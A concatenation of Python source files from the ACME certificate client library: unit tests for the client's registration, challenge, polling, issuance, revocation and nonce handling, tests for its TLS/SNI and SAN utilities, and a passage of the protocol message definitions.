"""Tests for acme.client."""
import datetime
import json
import unittest

from six.moves import http_client  # pylint: disable=import-error

import mock
import requests

from acme import challenges
from acme import errors
from acme import jose
from acme import jws as acme_jws
from acme import messages
from acme import messages_test
from acme import test_util


CERT_DER = test_util.load_vector('cert.der')
KEY = jose.JWKRSA.load(test_util.load_vector('rsa512_key.pem'))
KEY2 = jose.JWKRSA.load(test_util.load_vector('rsa256_key.pem'))


class ClientTest(unittest.TestCase):
    """Tests for  acme.client.Client."""
    # pylint: disable=too-many-instance-attributes,too-many-public-methods

    def setUp(self):
        self.response = mock.MagicMock(
            ok=True, status_code=http_client.OK, headers={}, links={})
        self.net = mock.MagicMock()
        self.net.post.return_value = self.response
        self.net.get.return_value = self.response

        self.directory = messages.Directory({
            messages.NewRegistration:
                'https://www.letsencrypt-demo.org/acme/new-reg',
            messages.Revocation:
                'https://www.letsencrypt-demo.org/acme/revoke-cert',
            messages.NewAuthorization:
                'https://www.letsencrypt-demo.org/acme/new-authz',
        })

        from acme.client import Client
        self.client = Client(
            directory=self.directory, key=KEY, alg=jose.RS256, net=self.net)

        self.identifier = messages.Identifier(
            typ=messages.IDENTIFIER_FQDN, value='example.com')

        # Registration
        self.contact = ('mailto:cert-admin@example.com', 'tel:+12025551212')
        reg = messages.Registration(
            contact=self.contact, key=KEY.public_key())
        self.new_reg = messages.NewRegistration(**dict(reg))
        self.regr = messages.RegistrationResource(
            body=reg, uri='https://www.letsencrypt-demo.org/acme/reg/1',
            new_authzr_uri='https://www.letsencrypt-demo.org/acme/new-reg',
            terms_of_service='https://www.letsencrypt-demo.org/tos')

        # Authorization
        authzr_uri = 'https://www.letsencrypt-demo.org/acme/authz/1'
        challb = messages.ChallengeBody(
            uri=(authzr_uri + '/1'), status=messages.STATUS_VALID,
            chall=challenges.DNS(token=jose.b64decode(
                'evaGxfADs6pSRb2LAv9IZf17Dt3juxGJ-PCt92wr-oA')))
        self.challr = messages.ChallengeResource(
            body=challb, authzr_uri=authzr_uri)
        self.authz = messages.Authorization(
            identifier=messages.Identifier(
                typ=messages.IDENTIFIER_FQDN, value='example.com'),
            challenges=(challb,), combinations=None)
        self.authzr = messages.AuthorizationResource(
            body=self.authz, uri=authzr_uri,
            new_cert_uri='https://www.letsencrypt-demo.org/acme/new-cert')

        # Request issuance
        self.certr = messages.CertificateResource(
            body=messages_test.CERT, authzrs=(self.authzr,),
            uri='https://www.letsencrypt-demo.org/acme/cert/1',
            cert_chain_uri='https://www.letsencrypt-demo.org/ca')

    def test_init_downloads_directory(self):
        uri = 'http://www.letsencrypt-demo.org/directory'
        from acme.client import Client
        self.client = Client(
            directory=uri, key=KEY, alg=jose.RS256, net=self.net)
        self.net.get.assert_called_once_with(uri)

    def test_register(self):
        # "Instance of 'Field' has no to_json/update member" bug:
        # pylint: disable=no-member
        self.response.status_code = http_client.CREATED
        self.response.json.return_value = self.regr.body.to_json()
        self.response.headers['Location'] = self.regr.uri
        self.response.links.update({
            'next': {'url': self.regr.new_authzr_uri},
            'terms-of-service': {'url': self.regr.terms_of_service},
        })

        self.assertEqual(self.regr, self.client.register(self.new_reg))
        # TODO: test POST call arguments

        # TODO: split here and separate test
        reg_wrong_key = self.regr.body.update(key=KEY2.public_key())
        self.response.json.return_value = reg_wrong_key.to_json()
        self.assertRaises(
            errors.UnexpectedUpdate, self.client.register, self.new_reg)

    def test_register_missing_next(self):
        self.response.status_code = http_client.CREATED
        self.assertRaises(
            errors.ClientError, self.client.register, self.new_reg)

    def test_update_registration(self):
        # "Instance of 'Field' has no to_json/update member" bug:
        # pylint: disable=no-member
        self.response.headers['Location'] = self.regr.uri
        self.response.json.return_value = self.regr.body.to_json()
        self.assertEqual(self.regr, self.client.update_registration(self.regr))
        # TODO: test POST call arguments

        # TODO: split here and separate test
        self.response.json.return_value = self.regr.body.update(
            contact=()).to_json()
        self.assertRaises(
            errors.UnexpectedUpdate, self.client.update_registration, self.regr)

    def test_query_registration(self):
        self.response.json.return_value = self.regr.body.to_json()
        self.assertEqual(self.regr, self.client.query_registration(self.regr))

    def test_query_registration_updates_new_authzr_uri(self):
        self.response.json.return_value = self.regr.body.to_json()
        self.response.links = {'next': {'url': 'UPDATED'}}
        self.assertEqual(
            'UPDATED',
            self.client.query_registration(self.regr).new_authzr_uri)

    def test_agree_to_tos(self):
        self.client.update_registration = mock.Mock()
        self.client.agree_to_tos(self.regr)
        regr = self.client.update_registration.call_args[0][0]
        self.assertEqual(self.regr.terms_of_service, regr.body.agreement)

    def _prepare_response_for_request_challenges(self):
        self.response.status_code = http_client.CREATED
        self.response.headers['Location'] = self.authzr.uri
        self.response.json.return_value = self.authz.to_json()
        self.response.links = {
            'next': {'url': self.authzr.new_cert_uri},
        }

    def test_request_challenges(self):
        self._prepare_response_for_request_challenges()
        self.client.request_challenges(self.identifier)
        self.net.post.assert_called_once_with(
            self.directory.new_authz,
            messages.NewAuthorization(identifier=self.identifier))

    def test_requets_challenges_custom_uri(self):
        self._prepare_response_for_request_challenges()
        self.client.request_challenges(self.identifier, 'URI')
        self.net.post.assert_called_once_with('URI', mock.ANY)

    def test_request_challenges_unexpected_update(self):
        self._prepare_response_for_request_challenges()
        self.response.json.return_value = self.authz.update(
            identifier=self.identifier.update(value='foo')).to_json()
        self.assertRaises(
            errors.UnexpectedUpdate, self.client.request_challenges,
            self.identifier, self.authzr.uri)

    def test_request_challenges_missing_next(self):
        self.response.status_code = http_client.CREATED
        self.assertRaises(errors.ClientError, self.client.request_challenges,
                          self.identifier)

    def test_request_domain_challenges(self):
        self.client.request_challenges = mock.MagicMock()
        self.assertEqual(
            self.client.request_challenges(self.identifier),
            self.client.request_domain_challenges('example.com'))

    def test_request_domain_challenges_custom_uri(self):
        self.client.request_challenges = mock.MagicMock()
        self.assertEqual(
            self.client.request_challenges(self.identifier, 'URI'),
            self.client.request_domain_challenges('example.com', 'URI'))

    def test_answer_challenge(self):
        self.response.links['up'] = {'url': self.challr.authzr_uri}
        self.response.json.return_value = self.challr.body.to_json()

        chall_response = challenges.DNSResponse(validation=None)

        self.client.answer_challenge(self.challr.body, chall_response)

        # TODO: split here and separate test
        self.assertRaises(errors.UnexpectedUpdate, self.client.answer_challenge,
                          self.challr.body.update(uri='foo'), chall_response)

    def test_answer_challenge_missing_next(self):
        self.assertRaises(
            errors.ClientError, self.client.answer_challenge,
            self.challr.body, challenges.DNSResponse(validation=None))

    def test_retry_after_date(self):
        self.response.headers['Retry-After'] = 'Fri, 31 Dec 1999 23:59:59 GMT'
        self.assertEqual(
            datetime.datetime(1999, 12, 31, 23, 59, 59),
            self.client.retry_after(response=self.response, default=10))

    @mock.patch('acme.client.datetime')
    def test_retry_after_invalid(self, dt_mock):
        dt_mock.datetime.now.return_value = datetime.datetime(2015, 3, 27)
        dt_mock.timedelta = datetime.timedelta

        self.response.headers['Retry-After'] = 'foooo'
        self.assertEqual(
            datetime.datetime(2015, 3, 27, 0, 0, 10),
            self.client.retry_after(response=self.response, default=10))

    @mock.patch('acme.client.datetime')
    def test_retry_after_overflow(self, dt_mock):
        dt_mock.datetime.now.return_value = datetime.datetime(2015, 3, 27)
        dt_mock.timedelta = datetime.timedelta
        dt_mock.datetime.side_effect = datetime.datetime

        self.response.headers['Retry-After'] = "Tue, 116 Feb 2016 11:50:00 MST"
        self.assertEqual(
            datetime.datetime(2015, 3, 27, 0, 0, 10),
            self.client.retry_after(response=self.response, default=10))

    @mock.patch('acme.client.datetime')
    def test_retry_after_seconds(self, dt_mock):
        dt_mock.datetime.now.return_value = datetime.datetime(2015, 3, 27)
        dt_mock.timedelta = datetime.timedelta

        self.response.headers['Retry-After'] = '50'
        self.assertEqual(
            datetime.datetime(2015, 3, 27, 0, 0, 50),
            self.client.retry_after(response=self.response, default=10))

    @mock.patch('acme.client.datetime')
    def test_retry_after_missing(self, dt_mock):
        dt_mock.datetime.now.return_value = datetime.datetime(2015, 3, 27)
        dt_mock.timedelta = datetime.timedelta

        self.assertEqual(
            datetime.datetime(2015, 3, 27, 0, 0, 10),
            self.client.retry_after(response=self.response, default=10))

    def test_poll(self):
        self.response.json.return_value = self.authzr.body.to_json()
        self.assertEqual((self.authzr, self.response),
                         self.client.poll(self.authzr))

        # TODO: split here and separate test
        self.response.json.return_value = self.authz.update(
            identifier=self.identifier.update(value='foo')).to_json()
        self.assertRaises(
            errors.UnexpectedUpdate, self.client.poll, self.authzr)

    def test_request_issuance(self):
        self.response.content = CERT_DER
        self.response.headers['Location'] = self.certr.uri
        self.response.links['up'] = {'url': self.certr.cert_chain_uri}
        self.assertEqual(self.certr, self.client.request_issuance(
            messages_test.CSR, (self.authzr,)))
        # TODO: check POST args

    def test_request_issuance_missing_up(self):
        self.response.content = CERT_DER
        self.response.headers['Location'] = self.certr.uri
        self.assertEqual(
            self.certr.update(cert_chain_uri=None),
            self.client.request_issuance(messages_test.CSR, (self.authzr,)))

    def test_request_issuance_missing_location(self):
        self.assertRaises(
            errors.ClientError, self.client.request_issuance,
            messages_test.CSR, (self.authzr,))

    @mock.patch('acme.client.datetime')
    @mock.patch('acme.client.time')
    def test_poll_and_request_issuance(self, time_mock, dt_mock):
        # clock.dt | pylint: disable=no-member
        clock = mock.MagicMock(dt=datetime.datetime(2015, 3, 27))

        def sleep(seconds):
            """increment clock"""
            clock.dt += datetime.timedelta(seconds=seconds)
        time_mock.sleep.side_effect = sleep

        def now():
            """return current clock value"""
            return clock.dt
        dt_mock.datetime.now.side_effect = now
        dt_mock.timedelta = datetime.timedelta

        def poll(authzr):  # pylint: disable=missing-docstring
            # record poll start time based on the current clock value
            authzr.times.append(clock.dt)

            # suppose it takes 2 seconds for server to produce the
            # result, increment clock
            clock.dt += datetime.timedelta(seconds=2)

            if len(authzr.retries) == 1:  # no more retries
                done = mock.MagicMock(uri=authzr.uri, times=authzr.times)
                done.body.status = authzr.retries[0]
                return done, []

            # response (2nd result tuple element) is reduced to only
            # Retry-After header contents represented as integer
            # seconds; authzr.retries is a list of Retry-After
            # headers, head(retries) is peeled of as a current
            # Retry-After header, and tail(retries) is persisted for
            # later poll() calls
            return (mock.MagicMock(retries=authzr.retries[1:],
                                   uri=authzr.uri + '.', times=authzr.times),
                    authzr.retries[0])
        self.client.poll = mock.MagicMock(side_effect=poll)

        mintime = 7

        def retry_after(response, default):
            # pylint: disable=missing-docstring
            # check that poll_and_request_issuance correctly passes mintime
            self.assertEqual(default, mintime)
            return clock.dt + datetime.timedelta(seconds=response)
        self.client.retry_after = mock.MagicMock(side_effect=retry_after)

        def request_issuance(csr, authzrs):  # pylint: disable=missing-docstring
            return csr, authzrs
        self.client.request_issuance = mock.MagicMock(
            side_effect=request_issuance)

        csr = mock.MagicMock()
        authzrs = (
            mock.MagicMock(uri='a', times=[], retries=(
                8, 20, 30, messages.STATUS_VALID)),
            mock.MagicMock(uri='b', times=[], retries=(
                5, messages.STATUS_VALID)),
        )

        cert, updated_authzrs = self.client.poll_and_request_issuance(
            csr, authzrs, mintime=mintime,
            # make sure that max_attempts is per-authorization, rather
            # than global
            max_attempts=max(len(authzrs[0].retries), len(authzrs[1].retries)))
        self.assertTrue(cert[0] is csr)
        self.assertTrue(cert[1] is updated_authzrs)
        self.assertEqual(updated_authzrs[0].uri, 'a...')
        self.assertEqual(updated_authzrs[1].uri, 'b.')
        self.assertEqual(updated_authzrs[0].times, [
            datetime.datetime(2015, 3, 27),
            # a is scheduled for 10, but b is polling [9..11), so it
            # will be picked up as soon as b is finished, without
            # additional sleeping
            datetime.datetime(2015, 3, 27, 0, 0, 11),
            datetime.datetime(2015, 3, 27, 0, 0, 33),
            datetime.datetime(2015, 3, 27, 0, 1, 5),
        ])
        self.assertEqual(updated_authzrs[1].times, [
            datetime.datetime(2015, 3, 27, 0, 0, 2),
            datetime.datetime(2015, 3, 27, 0, 0, 9),
        ])
        self.assertEqual(clock.dt, datetime.datetime(2015, 3, 27, 0, 1, 7))

        # CA sets invalid | TODO: move to a separate test
        invalid_authzr = mock.MagicMock(
            times=[], retries=[messages.STATUS_INVALID])
        self.assertRaises(
            errors.PollError, self.client.poll_and_request_issuance,
            csr, authzrs=(invalid_authzr,), mintime=mintime)

        # exceeded max_attemps | TODO: move to a separate test
        self.assertRaises(
            errors.PollError, self.client.poll_and_request_issuance,
            csr, authzrs, mintime=mintime, max_attempts=2)

    def test_check_cert(self):
        self.response.headers['Location'] = self.certr.uri
        self.response.content = CERT_DER
        self.assertEqual(self.certr.update(body=messages_test.CERT),
                         self.client.check_cert(self.certr))

        # TODO: split here and separate test
        self.response.headers['Location'] = 'foo'
        self.assertRaises(
            errors.UnexpectedUpdate, self.client.check_cert, self.certr)

    def test_check_cert_missing_location(self):
        self.response.content = CERT_DER
        self.assertRaises(
            errors.ClientError, self.client.check_cert, self.certr)

    def test_refresh(self):
        self.client.check_cert = mock.MagicMock()
        self.assertEqual(
            self.client.check_cert(self.certr), self.client.refresh(self.certr))

    def test_fetch_chain_no_up_link(self):
        self.assertEqual([], self.client.fetch_chain(self.certr.update(
            cert_chain_uri=None)))

    def test_fetch_chain_single(self):
        # pylint: disable=protected-access
        self.client._get_cert = mock.MagicMock()
        self.client._get_cert.return_value = (
            mock.MagicMock(links={}), "certificate")
        self.assertEqual([self.client._get_cert(self.certr.cert_chain_uri)[1]],
                         self.client.fetch_chain(self.certr))

    def test_fetch_chain_max(self):
        # pylint: disable=protected-access
        up_response = mock.MagicMock(links={'up': {'url': 'http://cert'}})
        noup_response = mock.MagicMock(links={})
        self.client._get_cert = mock.MagicMock()
        self.client._get_cert.side_effect = [
            (up_response, "cert")] * 9 + [(noup_response, "last_cert")]
        chain = self.client.fetch_chain(self.certr, max_length=10)
        self.assertEqual(chain, ["cert"] * 9 + ["last_cert"])

    def test_fetch_chain_too_many(self):  # recursive
        # pylint: disable=protected-access
        response = mock.MagicMock(links={'up': {'url': 'http://cert'}})
        self.client._get_cert = mock.MagicMock()
        self.client._get_cert.return_value = (response, "certificate")
        self.assertRaises(errors.Error, self.client.fetch_chain, self.certr)

    def test_revoke(self):
        self.client.revoke(self.certr.body)
        self.net.post.assert_called_once_with(
            self.directory[messages.Revocation], mock.ANY, content_type=None)

    def test_revoke_bad_status_raises_error(self):
        self.response.status_code = http_client.METHOD_NOT_ALLOWED
        self.assertRaises(errors.ClientError, self.client.revoke, self.certr)


class ClientNetworkTest(unittest.TestCase):
    """Tests for acme.client.ClientNetwork."""

    def setUp(self):
        self.verify_ssl = mock.MagicMock()
        self.wrap_in_jws = mock.MagicMock(return_value=mock.sentinel.wrapped)

        from acme.client import ClientNetwork
        self.net = ClientNetwork(
            key=KEY, alg=jose.RS256, verify_ssl=self.verify_ssl,
            user_agent='acme-python-test')

        self.response = mock.MagicMock(ok=True, status_code=http_client.OK)
        self.response.headers = {}
        self.response.links = {}

    def test_init(self):
        self.assertTrue(self.net.verify_ssl is self.verify_ssl)

    def test_wrap_in_jws(self):
        class MockJSONDeSerializable(jose.JSONDeSerializable):
            # pylint: disable=missing-docstring
            def __init__(self, value):
                self.value = value

            def to_partial_json(self):
                return {'foo': self.value}

            @classmethod
            def from_json(cls, value):
                pass  # pragma: no cover

        # pylint: disable=protected-access
        jws_dump = self.net._wrap_in_jws(
            MockJSONDeSerializable('foo'), nonce=b'Tg')
        jws = acme_jws.JWS.json_loads(jws_dump)
        self.assertEqual(json.loads(jws.payload.decode()), {'foo': 'foo'})
        self.assertEqual(jws.signature.combined.nonce, b'Tg')

    def test_check_response_not_ok_jobj_no_error(self):
        self.response.ok = False
        self.response.json.return_value = {}
        with mock.patch('acme.client.messages.Error.from_json') as from_json:
            from_json.side_effect = jose.DeserializationError
            # pylint: disable=protected-access
            self.assertRaises(
                errors.ClientError, self.net._check_response, self.response)

    def test_check_response_not_ok_jobj_error(self):
        self.response.ok = False
        self.response.json.return_value = messages.Error(
            detail='foo', typ='serverInternal', title='some title').to_json()
        # pylint: disable=protected-access
        self.assertRaises(
            messages.Error, self.net._check_response, self.response)

    def test_check_response_not_ok_no_jobj(self):
        self.response.ok = False
        self.response.json.side_effect = ValueError
        # pylint: disable=protected-access
        self.assertRaises(
            errors.ClientError, self.net._check_response, self.response)

    def test_check_response_ok_no_jobj_ct_required(self):
        self.response.json.side_effect = ValueError
        for response_ct in [self.net.JSON_CONTENT_TYPE, 'foo']:
            self.response.headers['Content-Type'] = response_ct
            # pylint: disable=protected-access
            self.assertRaises(
                errors.ClientError, self.net._check_response, self.response,
                content_type=self.net.JSON_CONTENT_TYPE)

    def test_check_response_ok_no_jobj_no_ct(self):
        self.response.json.side_effect = ValueError
        for response_ct in [self.net.JSON_CONTENT_TYPE, 'foo']:
            self.response.headers['Content-Type'] = response_ct
            # pylint: disable=protected-access,no-value-for-parameter
            self.assertEqual(
                self.response, self.net._check_response(self.response))

    def test_check_response_jobj(self):
        self.response.json.return_value = {}
        for response_ct in [self.net.JSON_CONTENT_TYPE, 'foo']:
            self.response.headers['Content-Type'] = response_ct
            # pylint: disable=protected-access,no-value-for-parameter
            self.assertEqual(
                self.response, self.net._check_response(self.response))

    def test_send_request(self):
        self.net.session = mock.MagicMock()
        self.net.session.request.return_value = self.response
        # pylint: disable=protected-access
        self.assertEqual(self.response, self.net._send_request(
            'HEAD', 'http://example.com/', 'foo', bar='baz'))
        self.net.session.request.assert_called_once_with(
            'HEAD', 'http://example.com/', 'foo',
            headers=mock.ANY, verify=mock.ANY, bar='baz')

    def test_send_request_verify_ssl(self):
        # pylint: disable=protected-access
        for verify in True, False:
            self.net.session = mock.MagicMock()
            self.net.session.request.return_value = self.response
            self.net.verify_ssl = verify
            # pylint: disable=protected-access
            self.assertEqual(
                self.response,
                self.net._send_request('GET', 'http://example.com/'))
            self.net.session.request.assert_called_once_with(
                'GET', 'http://example.com/', verify=verify, headers=mock.ANY)

    def test_send_request_user_agent(self):
        self.net.session = mock.MagicMock()
        # pylint: disable=protected-access
        self.net._send_request('GET', 'http://example.com/',
                               headers={'bar': 'baz'})
        self.net.session.request.assert_called_once_with(
            'GET', 'http://example.com/', verify=mock.ANY,
            headers={'User-Agent': 'acme-python-test', 'bar': 'baz'})

        self.net._send_request('GET', 'http://example.com/',
                               headers={'User-Agent': 'foo2'})
        self.net.session.request.assert_called_with(
            'GET', 'http://example.com/',
            verify=mock.ANY, headers={'User-Agent': 'foo2'})

    def test_del(self):
        sess = mock.MagicMock()
        self.net.session = sess
        del self.net
        sess.close.assert_called_once_with()

    @mock.patch('acme.client.requests')
    def test_requests_error_passthrough(self, mock_requests):
        mock_requests.exceptions = requests.exceptions
        mock_requests.request.side_effect = requests.exceptions.RequestException
        # pylint: disable=protected-access
        self.assertRaises(requests.exceptions.RequestException,
                          self.net._send_request, 'GET', 'uri')


class ClientNetworkWithMockedResponseTest(unittest.TestCase):
    """Tests for acme.client.ClientNetwork which mock out response."""
    # pylint: disable=too-many-instance-attributes

    def setUp(self):
        from acme.client import ClientNetwork
        self.net = ClientNetwork(key=None, alg=None)

        self.response = mock.MagicMock(ok=True, status_code=http_client.OK)
        self.response.headers = {}
        self.response.links = {}
        self.checked_response = mock.MagicMock()
        self.obj = mock.MagicMock()
        self.wrapped_obj = mock.MagicMock()
        self.content_type = mock.sentinel.content_type

        self.all_nonces = [jose.b64encode(b'Nonce'), jose.b64encode(b'Nonce2')]
        self.available_nonces = self.all_nonces[:]

        def send_request(*args, **kwargs):
            # pylint: disable=unused-argument,missing-docstring
            if self.available_nonces:
                self.response.headers = {
                    self.net.REPLAY_NONCE_HEADER:
                    self.available_nonces.pop().decode()}
            else:
                self.response.headers = {}
            return self.response

        # pylint: disable=protected-access
        self.net._send_request = self.send_request = mock.MagicMock(
            side_effect=send_request)
        self.net._check_response = self.check_response
        self.net._wrap_in_jws = mock.MagicMock(return_value=self.wrapped_obj)

    def check_response(self, response, content_type):
        # pylint: disable=missing-docstring
        self.assertEqual(self.response, response)
        self.assertEqual(self.content_type, content_type)
        return self.checked_response

    def test_head(self):
        self.assertEqual(self.response, self.net.head(
            'http://example.com/', 'foo', bar='baz'))
        self.send_request.assert_called_once_with(
            'HEAD', 'http://example.com/', 'foo', bar='baz')

    def test_get(self):
        self.assertEqual(self.checked_response, self.net.get(
            'http://example.com/', content_type=self.content_type, bar='baz'))
        self.send_request.assert_called_once_with(
            'GET', 'http://example.com/', bar='baz')

    def test_post(self):
        # pylint: disable=protected-access
        self.assertEqual(self.checked_response, self.net.post(
            'uri', self.obj, content_type=self.content_type))
        self.net._wrap_in_jws.assert_called_once_with(
            self.obj, jose.b64decode(self.all_nonces.pop()))

        assert not self.available_nonces
        self.assertRaises(errors.MissingNonce, self.net.post,
                          'uri', self.obj, content_type=self.content_type)
        self.net._wrap_in_jws.assert_called_with(
            self.obj, jose.b64decode(self.all_nonces.pop()))

    def test_post_wrong_initial_nonce(self):  # HEAD
        self.available_nonces = [b'f', jose.b64encode(b'good')]
        self.assertRaises(errors.BadNonce, self.net.post, 'uri',
                          self.obj, content_type=self.content_type)

    def test_post_wrong_post_response_nonce(self):
        self.available_nonces = [jose.b64encode(b'good'), b'f']
        self.assertRaises(errors.BadNonce, self.net.post, 'uri',
                          self.obj, content_type=self.content_type)

    def test_head_get_post_error_passthrough(self):
        self.send_request.side_effect = requests.exceptions.RequestException
        for method in self.net.head, self.net.get:
            self.assertRaises(
                requests.exceptions.RequestException, method, 'GET', 'uri')
        self.assertRaises(requests.exceptions.RequestException,
                          self.net.post, 'uri', obj=self.obj)


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests for acme.crypto_util."""
import itertools
import socket
import threading
import time
import unittest

import six
from six.moves import socketserver  # pylint: disable=import-error

import OpenSSL

from acme import errors
from acme import jose
from acme import test_util


class SSLSocketAndProbeSNITest(unittest.TestCase):
    """Tests for acme.crypto_util.SSLSocket/probe_sni."""

    def setUp(self):
        self.cert = test_util.load_comparable_cert('cert.pem')
        key = test_util.load_pyopenssl_private_key('rsa512_key.pem')
        # pylint: disable=protected-access
        certs = {b'foo': (key, self.cert.wrapped)}

        from acme.crypto_util import SSLSocket

        class _TestServer(socketserver.TCPServer):

            # pylint: disable=too-few-public-methods
            # six.moves.* | pylint: disable=attribute-defined-outside-init,no-init

            def server_bind(self):  # pylint: disable=missing-docstring
                self.socket = SSLSocket(socket.socket(), certs=certs)
                socketserver.TCPServer.server_bind(self)

        self.server = _TestServer(('', 0), socketserver.BaseRequestHandler)
        self.port = self.server.socket.getsockname()[1]
        self.server_thread = threading.Thread(
            # pylint: disable=no-member
            target=self.server.handle_request)
        self.server_thread.start()
        time.sleep(1)  # TODO: avoid race conditions in other way

    def tearDown(self):
        self.server_thread.join()

    def _probe(self, name):
        from acme.crypto_util import probe_sni
        return jose.ComparableX509(probe_sni(
            name, host='127.0.0.1', port=self.port))

    def test_probe_ok(self):
        self.assertEqual(self.cert, self._probe(b'foo'))

    def test_probe_not_recognized_name(self):
        self.assertRaises(errors.Error, self._probe, b'bar')

    # TODO: py33/py34 tox hangs forever on do_hendshake in second probe
    #def probe_connection_error(self):
    #    self._probe(b'foo')
    #    #time.sleep(1)  # TODO: avoid race conditions in other way
    #    self.assertRaises(errors.Error, self._probe, b'bar')


class PyOpenSSLCertOrReqSANTest(unittest.TestCase):
    """Test for acme.crypto_util._pyopenssl_cert_or_req_san."""

    @classmethod
    def _call(cls, loader, name):
        # pylint: disable=protected-access
        from acme.crypto_util import _pyopenssl_cert_or_req_san
        return _pyopenssl_cert_or_req_san(loader(name))

    @classmethod
    def _get_idn_names(cls):
        """Returns expected names from '{cert,csr}-idnsans.pem'."""
        chars = [six.unichr(i) for i in itertools.chain(range(0x3c3, 0x400),
                                                        range(0x641, 0x6fc),
                                                        range(0x1820, 0x1877))]
        return [''.join(chars[i: i + 45]) + '.invalid'
                for i in range(0, len(chars), 45)]

    def _call_cert(self, name):
        return self._call(test_util.load_cert, name)

    def _call_csr(self, name):
        return self._call(test_util.load_csr, name)

    def test_cert_no_sans(self):
        self.assertEqual(self._call_cert('cert.pem'), [])

    def test_cert_two_sans(self):
        self.assertEqual(self._call_cert('cert-san.pem'),
                         ['example.com', 'www.example.com'])

    def test_cert_hundred_sans(self):
        self.assertEqual(self._call_cert('cert-100sans.pem'),
                         ['example{0}.com'.format(i) for i in range(1, 101)])

    def test_cert_idn_sans(self):
        self.assertEqual(self._call_cert('cert-idnsans.pem'),
                         self._get_idn_names())

    def test_csr_no_sans(self):
        self.assertEqual(self._call_csr('csr-nosans.pem'), [])

    def test_csr_one_san(self):
        self.assertEqual(self._call_csr('csr.pem'), ['example.com'])

    def test_csr_two_sans(self):
        self.assertEqual(self._call_csr('csr-san.pem'),
                         ['example.com', 'www.example.com'])

    def test_csr_six_sans(self):
        self.assertEqual(self._call_csr('csr-6sans.pem'),
                         ['example.com', 'example.org', 'example.net',
                          'example.info', 'subdomain.example.com',
                          'other.subdomain.example.com'])

    def test_csr_hundred_sans(self):
        self.assertEqual(self._call_csr('csr-100sans.pem'),
                         ['example{0}.com'.format(i) for i in range(1, 101)])

    def test_csr_idn_sans(self):
        self.assertEqual(self._call_csr('csr-idnsans.pem'),
                         self._get_idn_names())


class RandomSnTest(unittest.TestCase):
    """Test for random certificate serial numbers."""

    def setUp(self):
        self.cert_count = 5
        self.serial_num = []
        self.key = OpenSSL.crypto.PKey()
        self.key.generate_key(OpenSSL.crypto.TYPE_RSA, 2048)

    def test_sn_collisions(self):
        from acme.crypto_util import gen_ss_cert

        for _ in range(self.cert_count):
            cert = gen_ss_cert(self.key, ['dummy'], force_san=True)
            self.serial_num.append(cert.get_serial_number())
        self.assertTrue(len(set(self.serial_num)) > 1)


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""ACME protocol messages."""
import collections

from acme import challenges
from acme import errors
from acme import fields
from acme import jose
from acme import util


class Error(jose.JSONObjectWithFields, errors.Error):
    """ACME error.

    https://tools.ietf.org/html/draft-ietf-appsawg-http-problem-00

    :ivar unicode typ:
    :ivar unicode title:
    :ivar unicode detail:

    """
    ERROR_TYPE_DESCRIPTIONS = dict(
        ('urn:acme:error:' + name, description) for name, description in (
            ('badCSR', 'The CSR is unacceptable (e.g., due to a short key)'),
            ('badNonce', 'The client sent an unacceptable anti-replay nonce'),
            ('connection', 'The server could not connect to the client to '
             'verify the domain'),
            ('dnssec', 'The server could not validate a DNSSEC signed domain'),
            ('invalidEmail',
             'The provided email for a registration was invalid'),
            ('malformed', 'The request message was malformed'),
            ('rateLimited', 'There were too many requests of a given type'),
            ('serverInternal', 'The server experienced an internal error'),
            ('tls', 'The server experienced a TLS error during domain '
             'verification'),
            ('unauthorized', 'The client lacks sufficient authorization'),
            ('unknownHost', 'The server could not resolve a domain name'),
        )
    )

    typ = jose.Field('type', omitempty=True, default='about:blank')
    title = jose.Field('title', omitempty=True)
    detail = jose.Field('detail', omitempty=True)

    @property
    def description(self):
        """Hardcoded error description based on its type.

        :returns: Description if standard ACME error or ``None``.
        :rtype: unicode

        """
        return self.ERROR_TYPE_DESCRIPTIONS.get(self.typ)

    def __str__(self):
        return ' :: '.join(
            part for part in
            (self.typ, self.description, self.detail, self.title)
            if part is not None)


class _Constant(jose.JSONDeSerializable, collections.Hashable):
    """ACME constant."""
    __slots__ = ('name',)
    POSSIBLE_NAMES = NotImplemented

    def __init__(self, name):
        self.POSSIBLE_NAMES[name] = self
        self.name = name

    def to_partial_json(self):
        return self.name

    @classmethod
    def from_json(cls, value):
        if value not in cls.POSSIBLE_NAMES:
            raise jose.DeserializationError(
                '{0} not recognized'.format(cls.__name__))
        return cls.POSSIBLE_NAMES[value]

    def __repr__(self):
        return '{0}({1})'.format(self.__class__.__name__, self.name)

    def __eq__(self, other):
        return isinstance(other, type(self)) and other.name == self.name

    def __hash__(self):
        return hash((self.__class__, self.name))

    def __ne__(self, other):
        return not self == other


class Status(_Constant):
    """ACME "status" field."""
    POSSIBLE_NAMES = {}
STATUS_UNKNOWN = Status('unknown')
STATUS_PENDING = Status('pending')
STATUS_PROCESSING = Status('processing')
STATUS_VALID = Status('valid')
STATUS_INVALID = Status('invalid')
STATUS_REVOKED = Status('revoked')


class IdentifierType(_Constant):
    """ACME identifier type."""
    POSSIBLE_NAMES = {}
IDENTIFIER_FQDN = IdentifierType('dns')  # IdentifierDNS in Boulder


class Identifier(jose.JSONObjectWithFields):
    """ACME identifier.

    :ivar IdentifierType typ:
    :ivar unicode value:

    """
    typ = jose.Field('type', decoder=IdentifierType.from_json)
    value = jose.Field('value')


class Directory(jose.JSONDeSerializable):
    """Directory."""

    _REGISTERED_TYPES = {}

    class Meta(jose.JSONObjectWithFields):
        """Directory Meta."""
        terms_of_service = jose.Field('terms-of-service', omitempty=True)
        website = jose.Field('website', omitempty=True)
        caa_identities = jose.Field('caa-identities', omitempty=True)

    @classmethod
    def _canon_key(cls, key):
        return getattr(key, 'resource_type', key)

    @classmethod
    def register(cls, resource_body_cls):
        """Register resource."""
        resource_type = resource_body_cls.resource_type
        assert resource_type not in cls._REGISTERED_TYPES
        cls._REGISTERED_TYPES[resource_type] = resource_body_cls
        return resource_body_cls

    def __init__(self, jobj):
        canon_jobj = util.map_keys(jobj, self._canon_key)
        # TODO: check that everything is an absolute URL; acme-spec is
        # not clear on that
        self._jobj = canon_jobj

    def __getattr__(self, name):
        try:
            return self[name.replace('_', '-')]
        except KeyError as error:
            raise AttributeError(str(error))

    def __getitem__(self, name):
        try:
            return self._jobj[self._canon_key(name)]
        except KeyError:
            raise KeyError('Directory field not found')

    def to_partial_json(self):
        return self._jobj

    @classmethod
    def from_json(cls, jobj):
        jobj['meta'] = cls.Meta.from_json(jobj.pop('meta', {}))
        return cls(jobj)


class Resource(jose.JSONObjectWithFields):
    """ACME Resource.

